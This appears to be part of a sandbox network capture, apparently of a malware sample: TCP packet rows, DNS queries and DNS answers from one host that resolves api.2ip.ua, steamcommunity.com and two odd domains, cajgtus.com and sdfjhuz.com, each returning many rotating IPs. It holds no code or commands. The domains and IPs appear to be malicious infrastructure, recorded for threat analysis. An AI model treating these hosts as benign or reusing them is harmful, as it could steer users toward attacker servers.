Apr 24, 2024 09:17:18.243246078 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.243287086 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.243345976 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.243356943 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.243398905 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.243426085 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.247251034 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.247292995 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.247338057 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.247349024 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.247401953 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.247401953 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.250628948 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.250669003 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.250720024 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.250730991 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.250776052 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.250794888 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.253560066 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.253598928 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.253655910 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.253668070 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.253703117 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.253721952 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.256978035 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.257019043 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.257070065 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.257103920 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.257142067 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.257164955 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.260742903 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.260785103 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.260823965 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.260842085 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.260875940 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.260895967 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.264004946 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.264041901 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.264080048 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.264091969 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.264138937 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.264158964 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.267402887 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.267443895 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.267481089 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.267493010 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.267524958 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.267554998 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.271064997 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.271105051 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.271150112 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.271162033 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.271199942 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.271219015 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.274348974 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.274388075 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.274426937 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.274439096 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.274473906 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.274521112 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.277116060 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.277158022 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.277199030 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.277209044 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.277250051 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.277268887 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.281266928 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.281307936 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.281346083 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.281357050 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.281419992 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.281419992 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.284424067 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.284461975 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.284497976 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.284509897 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.284538984 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.284560919 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.287411928 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.287502050 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.287538052 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.287548065 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.287584066 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.287600040 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.290390015 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.290457010 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.290473938 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.290484905 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.290512085 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.290530920 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.294014931 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.294054985 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.294087887 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.294100046 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.294127941 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.294150114 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.296689034 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.296731949 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.296775103 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.296786070 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.296821117 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.296840906 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.299902916 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.299942017 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.300041914 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300043106 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.300041914 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300069094 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.300134897 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300148010 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.300205946 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300256968 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.300395012 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300832033 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.300867081 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.419869900 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.419924021 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.420031071 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.422271013 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.422291994 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.078792095 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.079626083 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.080143929 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.080171108 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.082463026 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.082475901 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.082530975 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.082545042 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.564665079 CEST	49723	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.564702988 CEST	443	49723	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:19.565004110 CEST	49723	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.565294027 CEST	49723	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:19.565309048 CEST	443	49723	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.125237942 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.125381947 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:20.125439882 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.125478029 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.125514030 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:20.125551939 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:20.126737118 CEST	49722	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:20.126766920 CEST	443	49722	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.221348047 CEST	443	49723	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:20.221426010 CEST	49723	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:20.829943895 CEST	49723	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:33.112874985 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.112926006 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:33.113133907 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.156900883 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.156935930 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:33.488533020 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:33.488631010 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.495747089 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.495759964 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:33.496190071 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:33.496243954 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.497680902 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:33.544114113 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259681940 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259768009 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.259795904 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259843111 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.259846926 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259876013 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.259880066 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259911060 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.259913921 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.259952068 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.259979963 CEST	443	49724	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:34.260026932 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.260179043 CEST	49724	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:34.260195017 CEST	443	49724	172.67.139.220	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 09:16:51.334652901 CEST	60760	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:51.498281956 CEST	53	60760	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:55.144201040 CEST	60034	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:55.145157099 CEST	52488	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:56.145472050 CEST	60034	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:56.161125898 CEST	52488	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:57.145780087 CEST	60034	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:57.166043997 CEST	52488	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:59.012989998 CEST	53	52488	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.013036013 CEST	53	52488	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.013046980 CEST	53	52488	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.145517111 CEST	60034	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:16:59.256450891 CEST	53	60034	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.256468058 CEST	53	60034	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.256721020 CEST	53	60034	1.1.1.1	192.168.2.6
Apr 24, 2024 09:16:59.299385071 CEST	53	60034	1.1.1.1	192.168.2.6
Apr 24, 2024 09:17:02.601921082 CEST	56563	53	192.168.2.6	1.1.1.1
Apr 24, 2024 09:17:02.756052017 CEST	53	56563	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 09:16:51.334652901 CEST	192.168.2.6	1.1.1.1	0x27b9	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:55.144201040 CEST	192.168.2.6	1.1.1.1	0xe7c	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:55.145157099 CEST	192.168.2.6	1.1.1.1	0x8789	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:56.145472050 CEST	192.168.2.6	1.1.1.1	0xe7c	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:56.161125898 CEST	192.168.2.6	1.1.1.1	0x8789	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:57.145780087 CEST	192.168.2.6	1.1.1.1	0xe7c	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:57.166043997 CEST	192.168.2.6	1.1.1.1	0x8789	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.145517111 CEST	192.168.2.6	1.1.1.1	0xe7c	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:17:02.601921082 CEST	192.168.2.6	1.1.1.1	0x9bc4	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 09:16:51.498281956 CEST	1.1.1.1	192.168.2.6	0x27b9	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:51.498281956 CEST	1.1.1.1	192.168.2.6	0x27b9	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.147.159.149	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.112.12.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	116.58.10.60	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.012989998 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.147.159.149	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.112.12.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	116.58.10.60	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013036013 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.147.159.149	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	186.112.12.139	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	201.119.37.26	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	116.58.10.60	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.013046980 CEST	1.1.1.1	192.168.2.6	0x8789	No error (0)	sdfjhuz.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	189.61.54.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	190.28.78.114	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256450891 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	125.7.253.10	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	189.61.54.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	190.28.78.114	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256468058 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	125.7.253.10	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	189.61.54.32	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	188.52.178.41	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	190.28.78.114	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.256721020 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	125.7.253.10	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 09:16:59.299385071 CEST	1.1.1.1	192.168.2.6	0xe7c	No error (0)	cajgtus.com	187.228.55.117	A (IP address)	IN (0x0001)	false
